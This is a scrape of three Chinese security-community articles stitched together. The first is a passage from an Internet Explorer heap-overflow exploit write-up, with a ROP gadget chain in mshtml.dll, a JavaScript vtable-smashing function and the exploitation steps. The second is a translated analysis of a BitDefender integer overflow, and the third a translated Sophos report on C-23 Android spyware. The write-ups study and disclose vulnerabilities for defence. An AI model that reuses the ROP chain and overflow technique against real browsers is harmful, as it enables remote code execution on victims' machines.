#[---INFO:gadgets_to_set_ebx:---]
0x636895b1, # POP EBX # RETN [mshtml.dll]
0x00000001, # 0x00000001-> ebx
#[---INFO:gadgets_to_set_edx:---]
0x637ccce4, # POP EDX # RETN [mshtml.dll]
0x00001000, # 0x00001000-> edx
#[---INFO:gadgets_to_set_ecx:---]
0x6358e41f, # POP ECX # RETN [mshtml.dll]
0x00000040, # 0x00000040-> ecx
#[---INFO:gadgets_to_set_edi:---]
0x6366cccd, # POP EDI # RETN [mshtml.dll]
0x63900c06, # RETN (ROP NOP) [mshtml.dll]
#[---INFO:gadgets_to_set_eax:---]
0x637f3ee3, # POP EAX # RETN [mshtml.dll]
0x90909090, # nop
#[---INFO:pushad:---]
0x636bfa7c, # PUSHAD # RETN [mshtml.dll]
]
`1666711552`是笔者环境中`mshtml.dll`基址十进制值。
第二次溢出：
function smash_vtable()
{
var obj_col_0 = document.getElementById("132");
obj_col_0.width = "1178993"; // smash the vftable 0x07070024
obj_col_0.span = "44"; // the amount to overwrite
}
写入发生于第28次循环，对应指令为`0x6368CD98`处`mov [esi+8], ebx`，写入前：
写入完成后调用该虚表指针时即可控制执行流。
最后，总结下利用思路：Heap
Spray—>释放内存—>`<col>`占位—>堆溢出(更改BSTR长度位)—>"越界读"虚表指针，计算`mshtml.dll`基址—>Heap
Spray(布局ROP+Shellcode)—>堆溢出(更改虚表指针到ROP+Shellcode地址)
## 0x03 参阅链接
* [HTMLElement.style](https://developer.mozilla.org/zh-CN/docs/Web/API/HTMLElement/style)
* [display](https://developer.mozilla.org/zh-CN/docs/Web/CSS/display)
* [Python实现生成相对地址的ROP](https://blog.csdn.net/qq_35519254/article/details/53234599) | 社区文章 |
# 分析杀毒软件BitDefender中的整数溢出漏洞（第一部分）
|
##### 译文声明
本文是翻译文章，文章来源：zerodayinitiative.com
原文地址：<https://www.zerodayinitiative.com/blog/2018/6/19/analyzing-an-integer-overflow-in-bitdefender-av-part-1-the-vulnerability>
译文仅供参考，具体内容表达以及含义原文为准。
在软件漏洞的“万神殿”中，安全软件中出现的漏洞被认为比其他软件中的漏洞更加严重。我们依靠安全软件来抵御攻击者，因此我们的防御系统中的漏洞不仅允许攻击者造成伤害，还会给我们带来错误的安全感。我们以为自己是受保护的，其实不然。这也是我们为什么特别关注有关于Bitdefender
Internet
Security一个被披露的[漏洞案例](https://www.zerodayinitiative.com/advisories/ZDI-17-942/)的原因之一，如果该漏洞被利用，Bitdefender
Internet Security可能允许远程代码执行。这个现在已经被修复的漏洞是由于整数溢出引起的，并值得我们仔细观察。
接下来是提交案例的研究者的评论。这名研究人员的笔名为plume
Pagefault，他出色地描述了这个漏洞，我们认为其他人会有兴趣看到一种方法来利用现代软件中的整数溢出，尽管有DEP和ASLR。下面是他对这个漏洞的描述，这个漏洞允许在受影响的系统上远程执行代码。
## Bitdefender的简介
Bitdefender提供了多种具有防病毒（AV）功能的产品，并且所有这些AV产品都安装了vsserv.exe
SYSTEM服务。该服务用于处理AV扫描请求。正如你所期望的AV引擎一样，它通过一系列具有.xmd或.cvd扩展名的压缩可执行文件（位于%PROGRAMFILES%Common
FilesBitdefenderBitdefender Threat
ScannerAntivirus_XXXXPlugins目录下）来处理各种文件类型（如PDF、JPG、DOC、EXE）和EXE包。然而，该引擎还有一个不太为人知的功能是模拟遇到的可执行代码，用于检测未知或混淆的病毒。
当遇到x86可移植可执行文件（PE）时，Bitdefender通过包含在cevakrnl.xmd和ceva_emu.cvd文件中的高度复杂的代码仿真器来虚拟执行PE
。仿真器创建一个私有虚拟地址空间，处理字节码解释，提供各种Windows API的实现，并为频繁执行的地址创建实时（JIT）代码。
## 漏洞的简介
当仿真器检测到对函数的调用时，cevakrnl.xmd!sub_366F4D0()会被调用。该函数处理仿真函数中的第一条指令，通过一个常量表搜索匹配项。在处理以下指令时，算法会考虑解释器的当前状态。换句话来说，对于每个匹配的指令，都将搜索另一个匹配表以查找以下指令。
当函数中的前16个字节被仿真器匹配时，或者当指令序列未知时，初始搜索结束。
常量表中最后的匹配项会提供函数起始位置之前的许多已知字节，以及函数起始位置之后的16字节。
[X bytes before]
FUNCTIONSTART:
16 bytes already matched
[Y bytes after]
然后，读取和检查字节，以确定它们是否匹配已知的AV签名。如果匹配，则调用检测到的代码签名对应的处理程序以进行进一步处理。
## 深入分析
当遇到Themida 加壳工具代码序列时，将调用sub_36906D0()函数，以便对匹配的序列执行代码解释。
在解释代码中，唯一的变量是读取ebx的值的ebp偏移量“X”。该函数从代码流中提取偏移量，并使用它从仿真堆栈中获取ebx的值。
接下来将解释mov ecx, [ebx]指令，并从ebx保存的模拟地址中提取ecx的值。
接下来解释下面的代码序列：
该进程会根据ecx + dword[ecx + 0x78 + word[ecx+0x3c]] 计算出仿真esi。
接下来从仿真esi中提取总共0x28字节，并且在偏移0x18处读取dword（对应仿真代码中的mov edi，[esi + 18h]）。
该dword(N)乘以4，但没有进行整数边界检查，并在malloc()的调用中传递。这导致了一个大小不足的缓冲区的分配。
接下来进入一个循环，在该循环中，缓冲区填充了在仿真堆栈上的偏移处找到的N个字符串的CRC32校验和。当字符串的偏移量过大时，循环也会中止。
这提供了我们执行代码所需的一切，第一个是可以用我们自己的内容覆盖任意数量字节的能力。这需要包含所计算出的CRC具有期望值（例如反向CRC）的字符串。所包含的CRC32算法是非标准的，因为它考虑了每个字符串的终止零字节。然而，通过蛮力攻击，逆向分析它是可能的。
当调用匹配的函数时，漏洞会被触发，期望数量的字节随任意内容溢出。
## 结论（第一部分）
通过深入分析，我们可以看到，攻击者可以在受影响的Bitdefender版本上执行任意代码。供应商使用更新[73447](https://www.bitdefender.com/site/view/Desktop-Products-Updates.html)解决了此漏洞（及其他漏洞）。对于Bitdefender的用户而言，应该确保自己的系统使用的是更新后的版本或可用于系统的更新。Pagefault的分析并没有在这里结束。在我们的下一篇博客中，我们将讨论漏洞利用本身，以及如何避免受到DEP和ALSR的影响。
审核人：yiwang 编辑：少爷 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://news.sophos.com/en-us/2021/11/23/android-apt-spyware-targeting-middle-east-victims-improves-its-capabilities/>**
这款手机间谍软件有一些新的功能，可以逃避自动删除和手动删除。
一个名为 **C-23** (也被称为 GnatSpy，FrozenCell，或
VAMP)的APT组织在他们的恶意应用程序中加入了新的特性，这些特性使得它们对用户的行为更具适应力，用户可能会试图手动删除它们，安全和网络托管公司可能会试图阻止访问或关闭其C2服务器域名，但这些恶意应用程序也能应对。
C-23威胁组织过去的目标是驻扎在中东，特别是在巴勒斯坦的个人。该组织早在2017年就活跃起来。
[
这个间谍软件最初伪装成一个叫做“应用程序更新”的东西。
这些新的变种以一个应用的形式出现，这个应用假称要在目标手机上安装更新，包括应用更新、系统应用更新或者安卓更新情报。Sophos
怀疑这些应用程序是通过含下载链接的短信发送给特定用户的。据我们所知，这些应用程序都没有托管在 Google Play Store 上，不过 Sophos
联系了 Android 安全团队，并向该公司发送了应用程序的详细信息。
一旦安装完毕，间谍软件就会向其命令控制服务器发送唯一的可识别设备参数。这个变种的新特性之一是，最一开始将使用硬编码的 c
2地址进行通信，还包含允许间谍软件操作者下推一个新地址的代码。这种能力可以保持，恶意软件即使在一个或多个
c2服务器域被拿下的情况下，依然能运行。新的变体不会以任何方式隐藏或混淆 c2服务器地址。
[Code that can
可以在正在运行的安装上修改 c2域的代码是一个值得注意的新特性。
许多新的变种已经被证书数字签名了，该证书序列号为
`ece521e38c5e9cbea53503eef1a6ddd204583fa`，Sophos一直认为这个证书与恶意软件有关。
### 安装后的伪装
[
[
当用户第一次打开应用程序时，它要求用户授予应用程序特定的权限，而开放的权限是一些间谍软件才会要求的:
它要求记录环境音频的权限，以及访问存储在设备上的所有文件的权限。但是这些应用程序也使用了一些社会工程学技巧来要求用户授予高级权限:
通知访问，设备管理员，以及在与应用程序交互时观察用户行为。
该应用程序的要求似乎有其必要性，但这些都是谎言。例如，“启用通知”的请求声称应用程序需要这个功能，否则“你不会实时收到通知”
[
但这不是通知访问权限的功能。当提示启用此功能时，应用程序将用户推送到一个系统权限窗口，该窗口准确描述了权限的作用。攻击者可能认为，受害者不会仔细阅读或理解单击屏幕上的
“允许”按键 的后果。
[
这一权限允许间谍软件浏览来自任何应用程序(如 Facebook 或
WhatsApp)的全文信息和联系人姓名，以及关闭其他应用程序的通知(如手机反恶意软件警告)或切换手机上的“请勿打扰”设置。设备管理员允许应用程序的使用者锁定手机，但是根据我们的分析，间谍软件的当前版本没有这个功能。
该应用程序提示用户启用设备管理员权限，否则“系统将无法保护您的互联网连接”
[
实际上，间谍软件想让用户启用的功能会让间谍软件锁定手机。
[
最后的提示含糊其辞，要求用户改变一个设置，称部分功能会因为电池优化而造成阻塞。
与其他提示一样，这也是假的。这个提示重定向用户，以启用一个功能，从而允许间谍软件识别你使用的应用程序，之后，这个间谍软件把这些信息发送到它的 c2服务器上。
[
一旦用户授予了所有这些权限，应用程序就会伪装自己以免被用户手动删除。这种隐秘的方法对于这个版本来说似乎是前所未有: 这个间谍软件改变了它的图标(和名字)
，它使用四个应用程序中一个的图标来伪装自己: **Google Play, Youtube, Google,** 或 **Botim** (一个 VOIP
呼叫应用程序)。
一旦这种情况发生，下一次间谍软件被打开时，间谍软件就会打开它伪装的软件，比如，如果它把自己伪装成 Chrome 浏览器，它就会打开 Chrome
浏览器，从而给用户一种假象，让他们以为这个软件是合法的。
间谍软件图标在伪装前显示为“应用程序更新”：
[
[
然后使用了 Chrome 浏览器的图标，当用户点击图标时应用程序启动。
这些应用程序包含一个阿拉伯语的文本字符串，当图标被更改时，它们会被发送到命令和控制服务器。这些字符串出现在这些新版本的恶意软件中。
> تم تغيير الأيقونة
我们还发现，它试图从应用程序的资产中安装自己的版本的 Botim ——我们认为这个功能是为之后的版本准备的，因为示例没有包含(或试图下载)任何 Botim
APK 文件。
间谍软件的每个功能都有一个与之相关的命令。这些命令通过 Firebase 消息接收，并且间谍软件在接到指示时执行相应的功能。
实时C2服务器充当Laravel（一个web应用程序框架）的网站。
然而，这款间谍软件的许多功能并没有改变，它做了以下事情:
* 收集短信，联系人，通话记录
* 收集图片和文档
* 记录音频，呼入和呼出电话，包括 WhatsApp 的通话
* 截屏和录制屏幕视频
* 用相机拍照
* 隐藏自己的图标
* 阅读 WhatsApp、 Facebook、 Facebook Messenger、 Telegram、 Skype、 IMO Messenger 或 Signal 的通知
* 取消内置安全应用程序(如三星安全代理、小米 MIUI 安全中心、华为系统管理器)以及安卓系统应用程序、包安装程序和自身的通知
[Internal logging shows the
app writing out the contents of the contact list, call logs, and SMS messages
to a Zip archive it later uploads to its C2
内部日志记录显示应用程序将联系人列表、通话记录和 SMS 消息的内容写入一个 Zip 存档，然后上传到 C2。
### 不要成为间谍软件的受害者
为了避免成为这些恶意应用程序的受害者，用户应该只安装来自信任来源的应用程序，如Google Play。更新 Android 操作系统和应用程序应该分别通过
Android 设置和 Google Play 完成，而不是依赖于第三方应用程序。
用户应该特别警惕那些要求敏感权限的应用程序，比如设备管理、通知访问，或者那些需要超级用户/root
访问权限的应用程序。用户可以通过浏览设置并分别搜索“设备管理应用”和“通知访问”来查看当前具有设备管理和通知访问权限的应用。
* * * | 社区文章 |
Subsets and Splits